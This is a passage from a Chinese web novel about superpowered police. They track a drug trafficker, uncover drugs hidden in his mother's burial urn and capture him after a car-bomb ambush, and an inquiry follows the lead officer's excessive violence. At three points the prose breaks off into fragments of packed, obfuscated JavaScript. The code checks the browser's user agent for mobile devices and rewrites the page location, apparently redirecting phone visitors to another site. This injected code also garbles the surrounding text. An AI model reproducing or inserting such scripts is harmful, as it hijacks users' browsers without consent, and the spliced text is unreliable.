然而何书清的下一句:“哥!你跟部长快下来吧!我先把嫌犯带走啦!” 他说完,利索地扛起李河添,还能腾一只手出来抱走纸盒小丑。 然后他就……奔着夕阳去了。 季长岁凝固在那儿。 和他的新婚爱人。 “丧偶吧咱俩。”季长岁平静道。 周观逸没力气地在他肩上笑了两声,其实短暂休息一下就足够爬下去。周观逸靠在他身上觉得稍微好了点儿,再次抬眼看那夕阳,缓缓说:“我小时候,夕阳就是这样的。” 季长岁不知道怎么接话,手掌在他后肩抚了抚,“嗯”一声。 14. 第 14 章 昶州市失控异能者管理局。 晚间8点35分,审讯大楼13楼,C02号审讯室。 李河添在里面接受审讯,主审讯人是季长岁。门外走廊,周观逸第三次把跪地求情的卢翠拉起来:“卢姐,您别这样。” “你大哥被人骗了呀,小周,他是被人骗的……姐求求你了,我们真不知道那包里头是毒品啊,他骗我们说是进口药,抗癌的,小周,你当兵的,你人脉多,你救救我们吧……” “卢姐……” 卢翠甩开他手,又扑通跪下来,满脸泪:“小周啊,你就看在你小时候,我照顾过你们一老一小,你念个旧情吧小周!!” “卢姐!”周观逸再一次把她拉起来,无奈,“首先,李大哥的事情并不是季警官和我能决定的,这个里面牵扯的东西很多,其次他只要配合调查,实话实说,后果不会那么严重。” 卢翠哪里听得进去,二话不说接着要跪,然而这回,膝盖才刚弯,审讯室门从里面被打开。出来的人是白珊宇,门内外隔音相当好,先是被卢翠的哭嚎惊了下,将手里那块很薄的平板电脑递过去:“周部长,季警官请您看一下这个,如果没问题的话您签个字,电子签就行。” “好。”周观逸拿过来。 屏幕上是他们在谷福村里进行的大范围净化行为的文字报告,想来是季长岁边审讯边写的材料,挺会利用时间的……因为审讯人不单单只有他一个,同事们做事件核实和逼问流程的时候他是闲着的。 管理局档案里有自己的签名,需要指纹解锁一下再拉出来贴上,他操作好之后把平板还给白珊宇:“里面审到什么进度了?” “……”白珊宇瞧了眼卢翠,模棱两可说,“应该快了。” 周观逸短促地“噢”了声,他行军维和作战比较多,对这一块不太敏感,确实这儿有卢翠,白珊宇就算想告知他也不方便。 “对了,这是卢翠吧。”白珊宇又说。 “是的。”周观逸点头。 白珊宇瞧了眼左右审讯室,都是大门紧闭,她说:“应该也快轮到她了,辖区派出所的警察们问话应该会很快……啊,那边门开了,您把卢翠领到那个C05审讯室吧。” 谷福村辖区派出所的警察们同样受到或轻或重的幻境影响,所以全部带回了管理局,占用了许多审讯室。 不过警察在筛选入职时就保证了无论是否拥有异能,他们的精神力都比普通人要好很多,接下来接受一次幻境带来的脑补损伤修补后就可以返回谷福村。村子里还需要做很多修复工作。 那边审讯室的警察和管理局的工作人员互相握手后,周观逸带卢翠走过去:“这是失控异能者李河添的妻子。” “哦好的。”工作人员说,“进来吧。” “周部长。”卢翠进去审讯室后,白珊宇才说,“李河添在审讯室里一直重复一句话,就跟中邪一样,季警官决定把他交给精神类异能者审讯。” “重复一句话?”周观逸回忆了下,“是不是,大黑天……什么的。” “对对。”白珊宇点头,“恐怕是幻境损伤大脑搞得他精神出问题,所以季警官干脆就在那儿…写报告了。” 难怪。 周观逸嗯了声,刚巧,那边C03季长岁出来了,反手将门一带,听见那边有人叫他季警官,转头过来:“部长。” “收工了?”周观逸问。 “收工,累死我了,再不收工你丧偶了。”他揉揉肩膀,活动了两下脖子,又瞧他在那儿没动,催促,“走啊。” “来了。”周观逸抬脚跟上来,没忘回头跟白珊宇说声再见。 白珊宇笑着挥挥手:“拜拜部长拜拜警官。” “拜拜。”季长岁一摆手,转身走去电梯。 两人都很累,眼下只想洗澡睡觉。这也是季长岁在审讯室里就把报告写完的原因,今天累成这样,如果连文书工作都搞完了,他能睡得更好。 一起进去电梯轿厢后,季长岁先按了1楼,接着带了些似有若无的周观逸不太明白的笑意,问:“你……应该不会害怕跳楼机之类的东西吧?” 周观逸不明所以,摇头:“不怕。” “好。” 季长岁说“好”,一只手递给周观逸,另一只手按在电梯轿厢墙壁上:“抓稳我。” “……”周观逸猜到他要干嘛了,立刻两只手抓着他手腕。果然,这位警官真的很着急下班,控制电梯极速下降。 而季长岁本人不动如山,机械异能的人在机械造物内部就是这样如鱼在水。瞬间降到一楼后,周观逸松开他:“没…没这么赶时间吧?” “赶啊。”季长岁真诚点头,“赶死了。” 因为几乎是住在一起,所以开了辆警车回去。今晚假期,城里的几家大型商场都在做活动,路上还碰到了小丑花车。 季长岁看见小丑有点不爽,因为赵胜没能抓到。 回到公寓楼后其实是有些怪的,虽然开着玩笑说“丧偶”什么的算是连带着承认了婚姻,但各回各家的时候还是有点…… “晚安警官。”周观逸温声说了这么一句后,打开了自家门。 “嗯,部长晚安。” 回家后的第一件事是把自己扒光放水洗澡,这一整天身上汗湿了又风干,头发里灰啊土的,季长岁洗了半个多小时。 倒在床上的瞬间长长叹出一口气,放空了一会儿才去拿手机。 他微信朋友圈只开放了几个人,杨局长,小何,从前在桃榔市局几个关系还不错的同事,其他人都是仅聊天。 所以他几页就刷到了小何那条喜极而泣的朋友圈,他和周观逸登记结婚的现场。 小何应该是分组发的,点赞的人里只有杨局长。 照片拍糊了,不知道是小何手抖还是什么,照片里自己拉着周观逸的手,正在从婚姻登记所的台阶往下走。后边韩瑞的两个部下从那一大捧玫瑰里揪下来花瓣往他们俩头上扔,婚姻登记所门口这么干的人挺多的,地上全是花瓣啊彩带的。 真的挺糊,背景也杂,放大的照片挪一挪,周观逸笑着看着自己的后脑勺,再挪,哦原来自己也笑着的。 其实他不太记得那天的心情,满脑子赵胜凭什么两项异能究竟是怎么做到的……呃,季长岁蹙眉,所以自己结婚当天其实满脑子另一个男人。哇,精彩。 他长按照片保存,周观逸没有小何的微信,发给他看看。保存后才想起来自己也没有,手机一扔睡觉了。 后边一连几天都在处理谷福村的事情。 卢翠家门前水塘干涸后,塘底乱石压着分成四包的总重量50斤毒品,管理局移交给了昶州缉毒大队。 平和的村庄一时间所有人如过了四年大梦,有几个村民精神错乱被带回治疗,村里的农家乐啊餐厅皆不营业。一部分住户和店铺在净化掉异能后状态仍是正常,一部分则是“疯”的。 季长岁这几天上午在警队要么看监控和走访记录开会,要么出去巡查,带着警犬和解析异能的同事寻找赵胜的踪迹。下午去谷福村转悠,准确地说,是去胡大爷家附近转悠。 谷福村幻境事件中,民警小卓受影响比较浅,他是被言语和幻境破绽点破的,但恐惧不安太严重,造成的焦虑让小卓住进了昶州市医院。李稻和胡大爷是完全没有受影响,前者很明显被保护起来,后者多半是赵胜的手笔。 季长岁并不确定赵胜会顾念这位老人家而折返回来,但还是要找找线索。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15749564|174274||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >这天也是。 事实上这天是季长岁决定最后一次来谷福村了,这儿已经被管理局和昶州市局的人几乎每根草都捋了一遍,完全没什么好搜查的。 类似于基本演绎法的重塑现场异能者也下了定论,在水塘里的那些毒品是从村落最高点胡大爷家通过强风送往水塘,再由人从水塘带出去。 季长岁站在胡大爷家院门口,然后转身,平时,视野的确够高。 “警察。”胡大爷坐在院里的小马扎上,难得地喊了他一声。季长岁回过头,这些天胡大爷都是沉默的,怪不得他,他确实说的都是实话,因为警方带着测谎仪和相关异能者来过几回。 “还没抓着吗?”胡大爷问。 有那么一瞬,季长岁感觉胡大爷还撑着这副身体,就是为了看着赵胜归案。他太老了,并非年岁的老,而是他丧女后孙子又贩毒所带来的多重创伤,他是干瘪的空壳,是赵胜的事情在吊着他的气。 这口气吐出来了、卸下来了,他人也就没了。 当然这只是季长岁的猜测。 “没抓着。”季长岁说,“他最起码有两项异能,致幻、瞬移,很难搞。” 胡大爷琢磨了一会儿,苦恼地摇头:“不可能啊。” 谁说不是呢,季长岁也摇了摇头,叹气。 明天他不会再过来了,这些天一无所获已经证明了再过来就只是浪费时间。目前以一些市民们早已麻木的理由在昶州市边界的所有大小路口设立检查点,赵胜应该还在城里,他必须去参加地毯式搜查。 烦躁之际,头顶有直升机声。他抬头,机身涂装是管理局的特殊作战部,果然,绳梯伸出来后,落下的第一个人是周观逸。 胡大爷嫌吵,起来进屋里去了。 周观逸距离地面还有几米就直接跳下来。季长岁走过去:“特战部怎么今天过来了?” “今天最后一次扫描,还是没结果的话……就不过来了,明天按照异能波动点开始巡查。”周观逸回答。 目前抓捕失控异能者就是这样,哪里异能波动了就立刻动身过去调查。季长岁猜测也是这样,又问:“你从局里过来的?” “嗯。” “李河添和卢翠也问不出什么了吗?” “能用的招式全用了,都是那些。”周观逸垂眼抿了下唇,“是赵胜骗了他们,李河添异能爆发的原因他自己也不知道,审讯结论是……是失控。” 季长岁蹙眉:“那不是失控。” “的确不是,但是文书工作要结束。” 季长岁点头理解。他走了两步,又一次环视这个地方。幽静的,偶尔一两声鸟叫,偶尔一两声犬吠,都远远的。 他不是刑侦或经侦警察,从前一直是以强战斗力角色出现,所以思维上没那么强。所以那些毒品是从哪儿送去水塘呢…… “季……”周观逸无助地看着他以自己为圆心踱步到第三圈的时候,“季长岁?” “啊?”季长岁停下,“哦抱歉,我在想毒品之前究竟藏在哪儿。那批货是局里监控的,等着钓上游和下游,结果忽然失踪,从卢翠那里缴获地重量不够,货肯定还藏在这里,有什么是……” 他倏地定住了。 周观逸在等他继续说:“……有什么?” “有什么是赵胜认为的绝佳的藏……”季长岁首先看了眼屋子里,胡大爷没出来,他上前抓起周观逸的手腕,抓着他跑下胡大爷家门口的长坡,跑到坡下边。 说:“赵胜他妈……是不是埋在这附近。” 周观逸眼睛逐渐瞪大,不可置信,压低声音:“你的意思是,藏在他……母亲的,墓里……?” “你就说会不会有这个可能。”季长岁盯着他眼睛。 15. 第 15 章 众人举香三鞠躬。 墓碑上写先母胡云茂,孝子赵胜叩立。 缉毒大队的警犬有三只停坐在这里,相关异能者探究之后未敢断言下边一定有,他们感知到一些残留,但这些留痕在村庄及山林的其他地方有过,也都只是残留。缉毒大队和管理局两拨人快速商讨之后,开始上香掘坟。 不同于城市之中有规划好的墓园坟场,山林村庄许多人家是埋在自己家附近风水还不错的地方。一来方便祭拜,二来会让人觉得逝者没有走远。 胡大爷家也是这样,胡云茂的坟墓在大爷家继续往深山里进4、5公里的地方。 众人敬完香,自然元素异能者上前来开始掘坟工作。季长岁和其他人退到一旁,他自己在这方面并不忌讳,但挖人坟这事儿还是……让人于心不安。 这一行人里有一部分本地人,虽然是公职人员,但大家都知道这位胡云茂在整件事情中大约是无辜者,因为她死亡的时间前后赵胜还没有变成毒贩。所以有人小声念着“云丫起身啦”“莫怕啊”…… “是拾骨葬。”周观逸站在季长岁旁边,给他解释,“逝者先土葬,过去几年之后,取出遗骨装进金坛里,再选地埋葬。” 季长岁明白了:“难怪是个这么大的坛子。” “嗯,它不是骨灰盒,里面是遗骸。” 那陶坛子被慢慢抬出来,它看起来很重——季长岁察觉到了不对劲,人类的遗骨加上一个坛子不至于让一个异能者表现得很吃力。 果然,警犬开始吠叫。金坛的封口不太对劲,封得太密,季长岁不是本地人,他没看出不妥,但有人提出来了。 一个警员蹲下来拿小手电照着看了一圈,抬头:“执行官,得拆。” “拆开。”季长岁说。 赵胜不愿拆迁的原因其实是被传统禁锢了。 昶州市一带的旧习俗是遗骸坛子要跟着生人走。昶州靠海,从前人们靠山吃山靠水吃水,渐渐地人们远走他乡另谋生路,也都要背上先人遗骨。 所以在赵胜的观念里,如果拆迁搬走,那么胡云茂的遗骨也要挖出来带走。 人总是这么矛盾……就像现在。 赵胜亡母的遗骸坛子里,满满的毒品。他既心怀传统,又向他娘遗骸里灌毒。 人们缄默着做着自己该做的事情,拍照、取样、称重、封装。 季长岁看着大家有条不紊地将东西封好装上车,正要一起上车时,旁边周观逸不见了。 他回头,周观逸还在碑前。他不知从哪里摘了朵小野花,搁在那儿。 季长岁扶着车门犹豫了下,折回去,停在他身后。周观逸没回头,但知道他过来,说:“我小时候好像见过她。” “你那时候太小了,很多记忆是错乱的。” “嗯。”周观逸没有反驳,但也一时半刻没有挪动。 直到季长岁牵了他一下:“走了。” 车子开下去的途中因为颠簸所以开得慢。季长岁还牵着他,车后排挤了三个人,所以牵手并不明显。季长岁坐中间,另一边坐的是沈浪,一直认真地看手机上的资料。 季长岁有点无措,当务之急是怎么自然而然地把手松开,但是季长岁做任何“企图自然”的事情全部都以整段垮掉为结局。 他深知自己如此,所以按兵不动,他不动自己也不动。但路程颠簸,压过一块巨石的时候大家受力向前一倾,季长岁下意识伸手扶了下驾驶座位的椅背。 “等下。”这一触摸,季长岁感知到机械组件异样,下一刻,“下车,所有人下车,对讲喊前后车的人全部下来!远离车辆。” “收到!”何书清对指令从来不问为什么,一边解安全带一边推门下车,同时按着对讲,“全员下车,远离车辆!” 军警的执行力非常强,他们这辆车刚刚五人全部下车后,前后车的人很快先后跳了下来。他们来了四辆车,季长岁慢慢后退,他对机械物件的灵敏度超出低阶异能者几十倍,是长期大量训练的成果。 “怎么回事?”周观逸问。 “有炸弹。”季长岁说,“在车底盘。” 周观逸按下通讯器:“特战部,我坐标需要支援,有爆破物。” 季长岁眼睛紧盯着安静停在山路上的车,沉默地递给周观逸一把枪,10英寸枪管改良后更短些的HK416。 “我带枪了。”周观逸说。 季长岁依然没说话,端回来,他在专注状态下不太说话,有时候连命令都会忘记。专注过头就是这样,桃榔市里他领导因为这个问题跟他聊过很多次,无果。 周观逸则在观察他,并询问:“你觉得是内鬼吗?因为车辆一直无人靠近。” 更何况有警犬在这里。 季长岁“嗯”了下,他在观察其他车。 周观逸懂了,又问:“几枚?” “三枚。” “哪辆车没有?” “最后那辆。”季长岁在盯着它。 周观逸按下通讯器:“所有人保持分散并包围第四辆车。” 野山林中,人们每走一步都踩出宛如大自然在掰指关节的声音,尽管脚步收得再轻这也无可避免。 所有人平息凝气,端着枪,缓缓保持着距离围向第四辆车。 季长岁忽然在对讲里说:“你听得到吧,赵胜。” 他没有第一时间利用机械异能来拆弹,是因为三辆车都有炸弹,他在第三辆车里,即便拆了自己坐的这辆,赵胜一样会引爆前面两辆。 现在的第一要义是抓人。对讲里无人回应,赵胜只有一条路就是后退着走。山路狭窄,前面又挡着三辆越野。 果然,第四辆车的倒车灯亮起,赵胜踩着油门倒车。他对这里的地形更熟悉,有足够的信心。 “追!”周观逸迅速下令,“以车为单位分三个小组,第四辆车的跟我组。” 他话音刚落。 “轰——”三辆越野被同时引爆,两千多公斤几乎都是半载油的越野车被炸翻,露出的油液跟着熊熊燃烧。 所有人佩戴好面罩和护目镜,以丛林追击的方式奔袭那辆越野。不多时,季长岁听见对讲里传来陌生的声音,他猜测是赵胜。 “哈哈哈哈哈……废物、废物!找十几斤毒粉找了这么多天,还想抓我?!哈哈哈哈!” 季长岁没有给出回应,后方的三辆越野车在发生二次爆炸,他知道赵胜是个癫狂的。于是在失去第四辆越野车的引擎声时,季长岁首先按住旁边的人:“部长,他可能想把我们引到深山解决掉。” “支援在路上。”周观逸说完,已经追到了第四辆车,赵胜弃车而逃,带走了后备箱里封好的毒品。 季长岁摘下手套盖在车上:“正常熄火的,找踪迹追,他跑不快。” “明白!”众人有序地以小队为单位分组散开。 丛林里少有人至,所以逃跑的痕迹很好找。季长岁端枪转过身,密集的树林是天然屏障,毒贩躲藏在里面实在是很难搞。 肩膀被人按了按,季长岁倏然呼出一口气。接着他听见周观逸的声音从耳侧涌来,他声音很平稳,让人下意识地安心:“是我们解决他们,执行官。” 在从前,也不算太久的从前,季长岁在桃榔多数是独立作战。给他一把狙击枪,安排在某个阴暗小角落,他机械沟通之下可以打出狙击枪极限范围的爆头。 另一边,白珊宇驱动着感官异能,她是中阶异能者,在完全驱动异能时会躯体滞涩,所以由何书清扶着她的手臂向前走。 “这边。”白珊宇指了一下,“敌方一人。” 白珊宇继续换了个方向:“那边两人。” “走。”季长岁指了下白珊宇说两人的那边。没点谁的名,周观逸默契且主动地跟上。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15749565|174274||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 很快,昶州的支援到了,头顶直升机里的同事加入对讲线路,不远处听见交火声,热成像和观察员也开始为下方军警报点。 “季警官,您和周部长有敌方点位重合!”耳麦中听见这么一句。 季长岁当即判定是在头顶树上。 果然—— “唰唰”两道黑影从树上跳下来!周观逸直接开枪,可是随之震下的树叶扰乱视野,没命中。旁边季长岁则根本没开枪,他一直都想要活口。 黑瘦的影子落下后,季长岁先一拳几乎肉眼无法分辨的速度迎面上去,接着手臂箍颈,夺其枪甩扔出去。黑瘦子亦不是吃素的,反过来抓季长岁想要使他重心失衡。 季长岁顺势反抓其小臂,弓腰过肩摔,这还不够,季长岁的格斗向来不死也半残,就像何书清说的,他下手其实没数。他自己也知道,所以刻意收着点儿劲,并且停顿了半秒的样子。 这回他看清了。好巧不巧,这黑瘦子正是赵胜。赵胜眼神发邪,像是吸了两口的那种,亢奋又紧张:“你挖我妈,我会杀你全家的。” 赵胜跟着大喊一声仰起上半身手脚并用要把季长岁绞下来,季长岁发现他还有劲儿,一拳朝脸。赵胜明显懵了一下,这一拳打的下巴,约莫是掉了牙,血汩汩地吐。 其实以前,季长岁不太被准许格斗,尤其当上边更需要罪犯活着的前提下。 这一拳给季长岁找到感觉了,又一拳,打胸膛,他把赵胜拎起来怼在树干上持续击打,那赵胜已经只会吐血了。 旁边周观逸见状不妙,心下一紧,察觉可能要出事。他手里武器方才滚出一截,于是干脆拽下脖子上的战术耳麦,牙齿咬住外面包裹的硅胶,露出内里的半硬质金属线,对折,绞紧,一提膝的同时双手按其肩膀迫使对方下蹲,膝盖击其下颚,再将绞成洗长条的耳麦捅进他大腿面。 “季长岁!”周观逸一把将他整个人从侧面抱紧,“冷静!冷静点!别真把他打死了!” 季长岁的力道比他想象的还大,往赵胜身上招呼的那招没收住,顺势险些一个横肘击招呼到周观逸脸上。 周观逸没想到啊——只能接招,后撤半步小臂格挡,季长岁忽然失去重心,加上这里地形复杂,他没站稳。 周观逸见他要摔,上前两步伸手要扶。这一伸手,季长岁竟以为他是吃了一招不服气要反击,无端腾起一股自己控制不住也解释不了的欲望,当即抓住他手腕条件反射地向侧拧,那一刻他只想把万物踩在脚下,不管是谁。周观逸的眼神愈发惊诧,不能被拧,拧了就是骨折,只能顺着他的力道转身,同时夹住他手臂想要控制他。 事实上这个过程两个人都是意外的,加上季长岁在这方面……他还不能告知周观逸,这种比较严重的“格斗上头”现象其实也是……失控的一种。 他这个特警战队执行官本人,就踩在“失控异能者”的界定线之上。 季长岁的老师临终前攥着他的手腕,告诉他,要控制、克制、压制。 “等等。”季长岁先开口,“我……欸——?!” “别动别动……”周观逸也很绝望。 地形复杂,地形不熟。 两人同时踩空了一脚,下边是个草坡,所以周观逸叫他别动。周观逸方才保持了一个微妙的平衡,可季长岁一乱动,这下好了。 两个人咕噜噜开始顺坡滚。幸好大家都有着较为丰富的训练经验,一起将脆弱的脸部埋在对方肩膀,伸手以拥抱的动作帮对方捂住后脑勺。 “嗷。”以季长岁的后背撞到一块大石为终点,他捂着腰把周观逸拉起来。 拉到一半又因为后腰伤着了,往前一倒,又把周观逸压在地上。 季长岁的刘海就垂在自己眼睫上方一个指甲盖儿那么远。周观逸噗嗤笑起来,笑得咳嗽了下:“哇,你好能打啊。” “过奖,你也不赖。” 16. 第 16 章 “嘶……”何书清龇牙咧嘴的,表情特别难受,跟身上有毛毛虫在爬一样,“啊啊啊啊啊我看不下去了!” “喂。”白珊宇就这样眼睁睁看着何书清消失在走廊转角。她叹气,回头看了眼担架床上面血肉模糊的赵胜,自己也跟着“嘶”了声,打了个寒颤,这季警官下手也真是凶残到略微有些歹毒了。 赵胜完全失去意识,躺在那儿,脸上的伤口被做了简单的处理,牙齿掉了几颗在领子里头,几颗滚落到地上。白珊宇在“先给赵胜脑瓜上的绷带换一下”和“把地上他的牙齿捡起来”之间选择了逮回何书清。 一分半钟后,何书清重新站在担架床前边,白珊宇戴好隔离手套捡起地上赵胜吐出来的牙齿。何书清面如死灰:“我哥怎么专打脸呢。” “你这话不客观。”白珊宇把那几颗沾血的牙齿撂进担架床边的小兜子里,“你把他身上这无菌铺单掀开看看。” 何书清把头摇得像摸了电门:“我不看我不看我还没吃晚饭。” 审讯大楼14层的特殊审讯室是专门为了这种没有意识的罪犯提供的。 此时他们俩就等候在特殊审讯室外边的走廊,很快,门从里头被人打开来,一个穿着白色隔离服的人说:“里面清理好了,现在可以把嫌犯推进来。” “啊,好的。” 特殊审讯室具备治疗能力,像赵胜这样连话都说不出来的人,在这里先稳住生命体征并确保他不会再次逃脱。 里面的人瞧了眼赵胜,半开玩笑道:“真行啊……你俩给揍成这样,唉哟,这估计难搞了,我们先治疗吧。” “不是我们俩打的。”白珊宇解释,“是我们的长官。” “是吗,你们俩推来的,我还以为是你俩干的。”穿隔离服的人挺意外的。 干这事的人其实就在楼下,只不过此时陷入了比较尴尬的问题里。 13层,A01审讯室里,季长岁坐在平时他坐的位置的对面,也就是被审讯的位置。 A01里他对面做的人是韩瑞,韩瑞对他很客气,先唠了句不相关的:“这茶还是你们杨局长上回过来带给我的,听说桃榔今年春天下来不少好茶呀。” “嗯。”季长岁端起茶杯抿了一口。温热的口感,茶味很清新。 韩瑞半分钟前才进来这个审讯室,在此之前,季长岁一个人在这里坐了二十分钟。他是警察,很清楚这意味着什么—— 他猜测,韩瑞在这二十分钟里去审讯了周观逸,他法律上的丈夫,事实上的战友,地理上的邻居。 而审讯内容他也能猜到七八。 他放下茶杯,将白瓷的杯盖子搁上去,说:“杨局长应该都跟您说清楚了,我不是失控异能者。” 季长岁直白得让韩瑞直接哑巴了一会儿。韩瑞干巴巴地“哈哈”一笑:“说什么呢你这孩子,你是抓失控异能者的。” 大约是领导层的人讲话很爱这样避重就轻,以螺旋式谈话环绕进入问题,铺垫的过程和一张笑面虎让季长岁很想打呵欠。 他点头:“韩局,我不知道周部长是怎么反馈这件事情,总之,您可以调查那个时间里谷福村范围内的异能波动,我确实因为打赵胜之后没收住手误伤……我没伤着他,没收住手,跟周部长扭打了几下,但绝对没有驱动异能。” 说完,季长岁稍微直了直后背,补充:“而且在这件事里受伤的人是我……” 他后腰可是结结实实撞在石头上,那一下子当时没有太痛,回来之后越来越痛,此时此刻他腰后边贴着膏药,并且还有个靠枕。 “啊是!”韩瑞提高嗓门,“我就说!他们这不乱来吗!” “谁们?”季长岁蹙眉。 韩瑞讪笑道:“就赵胜这个事儿,咱们不是申请了精神控制异能者过来嘛……” “嗯。”季长岁点头,示意韩瑞继续说下去。 一时间竟不知是谁在审谁,季长岁一个连腰都直不起来的状态居然压过了笑面虎。 韩瑞硬着头皮接着说:“介、介于……事件还原……我们必须上报你、你对同事有主动攻击行为。” 季长岁明白他们判决的根据,也就是“受害者追责论”。不论在哪里,在作战过程中攻击同事是一件可大可小的事情,往那个最大最严重的方向讲,说内鬼、叛军、细作都可以。 但也可以只是一个意外。 “那只是个意外。”周观逸在今晚第不知道多少次向同事解释自己为什么会被韩瑞留在审讯室里。 沈浪“噢…”了一小会儿,似乎在琢磨“主动攻击同事”这个事儿是如何定义为意外。他背靠着墙,面前是A01审讯室,又问:“他是不是……以前也出现过这种行为,否则没必要把你们俩分开问吧?” 沈浪从前在军队就是周观逸的部下,他今天在城里执行任务,收工回来听说部长挨打了,被季警官打的,登时觉得莫名其妙又有点火气。 “我不知道。”周观逸实话实说,“但这回确实是意外。” 沈浪点点头,没再多问了。他的第一要义是服从,长官说什么,自己就信什么。 A01审讯室的门打开,首先出来的是韩瑞。韩瑞一开门见着他俩:“正好正好,来,进来帮忙扶一下季警官。” 这也是周观逸等在这里的原因之一。 季长岁撞的那一下非常不巧,撞到了旧伤上,这新疼旧痛赶上一块儿,韩瑞这把老骨头是根本不敢碰,再给他磕哪儿去,季长岁搞不好连夜写一封三万字投诉信。 “哎谢谢。”季长岁被沈浪和周观逸一人架一条胳膊。走出审讯室路过韩瑞的时候,季长岁意味深长地凝视了他一会儿,眼神在说,看看现在谁比较惨。 走到电梯门口的时候周观逸才问他:“怎么样?” 季长岁其实不至于让人架着走,他也知道韩瑞知道自己不至于让人架着走,大家配合做个戏让气氛别那么僵硬罢了。眼下他收回胳膊,自己扶着后腰站了会儿,说:“叫我配合调查。” 沈浪不解:“部长都说了是意外,还要继续调查吗?” “嗯。”季长岁开始添油加醋,“恶劣事迹嘛,你想想,你在外头抓人,附近敌军四伏,你战友忽然对你暴起而攻之,你毫无还手之力,你被他揍得……” 话未说完,沈浪实在没忍住打断他:“但我们部长没事啊,倒是您……” 看起来蛮惨的。 季长岁一手按着墙一手扶着后腰:“他们会有一个‘预设后果’的判定标准,这次是没事,假设下次再发生呢,假设是更紧急的情况呢。” “噢……”沈浪明白了,但又不算很明白。 然后他看着自己部长瞄向这电梯的按钮,灰的,他们仨站在这儿半天居然没人按电梯。周观逸伸手按了下行键,沈浪无意义地似乎在补救自己身为下属没主动按电梯的过错而跟着又按了两下,导致季长岁笑了出来。 见他笑了,周观逸稍稍安心:“没事,我说了那是意外。” “我明白。”季长岁慢慢敛起表情。 他希望是自己想多了,可能就是沈浪说的那样,没有酿成严重后果,周观逸没事,赵胜及其四名同伙落网,这个事情大可以轻轻揭过。 再者,他当时没使用异能,不能算异能失控。 电梯门打开,周观逸上前来扶了他一下。 回去的车上季长岁怎么坐都不舒服,又下起了雨,路上堵。周观逸在开车,开的警车,季长岁在副驾驶反复调着那个座椅靠背角度,急得他都想拉警笛。 季长岁放弃调整座椅了,问:“你这么苦大仇深的表情是在愁我吗?” “愁堵车。”周观逸说,“目前的状况,管理局不会轻易动你。” 不过周观逸想知道这是为什么。又一次陷入慢车阵,前车的刹车灯像一双鲜红鲜红的眼睛,被挡风玻璃的水流扭曲之后显得凶恶无比。 两人在车里沉默,季长岁是疼,而且不太想说。周观逸则是身为证件上的丈夫,却明白自己不适合多问。 分明只是一次可以弱化成“战斗惯性”和“没收住”或者“太快了根本没分清面前是敌是友”这些统称为“误会”的小问题,但韩瑞如临大敌,焦虑不安,俨然世界末日。 韩瑞平日里憨厚亲切,对谁都是眼睛一眯笑得带些傻气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15749566|174274||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,并开玩笑说像自己这样大腹便便的Alpha可不多见哟。不过大家心知肚明,在异能者管理局做副局长的,他可以装傻,但你不能觉得他是真傻。 所以季长岁对周观逸认为的“不会轻易动你”持有一半认可。可能吧,不好说。他其实不太在乎,至多叫他回去桃榔市,同时韩瑞会为了保护周观逸而立即撤销婚姻,他也不会连累任何人。 “谢谢啊。”车停好后,季长岁解开安全带,伸手,让周观逸搀扶着从车里出来,“嘶……” “还是去医院吧。”周观逸说。 季长岁惨白的一张脸摇摇头:“不去,睡一觉就好了。” “那你的床挺先进啊。” “别羡慕,想要的话等我回桃榔了床送你。” 周观逸苦笑了下:“这边,警官,我们住这栋楼。” “哦。” 其实特别痛,不过他很清楚没有伤到骨头,所以拒绝去医院。他很讨厌去医院,说讨厌可能有点小孩气,或许应该说,厌恶,抵触,抗拒。 季长岁脱掉衬衫,背对镜子,回头。 果然成片的青紫淤血,带着横七竖八的擦伤,那毕竟是山林野坡,遍地碎岩石和尖硬的植被。季长岁叹气,换了套质地柔软的T恤和运动裤,因为脸上也有几道剐蹭的扣子,戴上口罩和耳机出门了。 五月初入夜后还是蛮冷,但并不能阻止出来拍夜景的姑娘穿小裙子,季长岁瑟缩了下肩膀,推门进去一间便利店。 一瓶化淤的膏药,一些医用碘伏棉签,和两罐冰啤酒,薯片,一盒抑制贴。 他付钱,推门出来,原路返回。 一个字没说,眼皮子懒懒地半耷拉着。街上从玻璃橱窗里透出来的光零零碎碎地落在他身上,季长岁腰背痛,走得慢。 等红绿灯的时候收到一条微信,他换另只手拎袋子,点开微信。 杨局长:后天一早精神控制异能者和监管小队抵达昶州,我会尽力把你保在那儿,问题应该不严重,别再犯了。 季长岁拎了拎口罩,回复:明白。 听见敲门声的时候周观逸刚刚换好衣服,他狐疑着去开门,登时吓一跳:“季警官?” 大约是季长岁半死不活的眼神让他以为这人是来向自己求助的,于是连着又问:“我送你去医院?等一下!” “不是……”季长岁心情好点儿了,笑了下,“我身上都是钝伤,你应该也有,我出去买了点药和酒,喝点儿吗?” 周观逸视线移到他手里的袋子:“药和……酒?” “明天又不上班。” 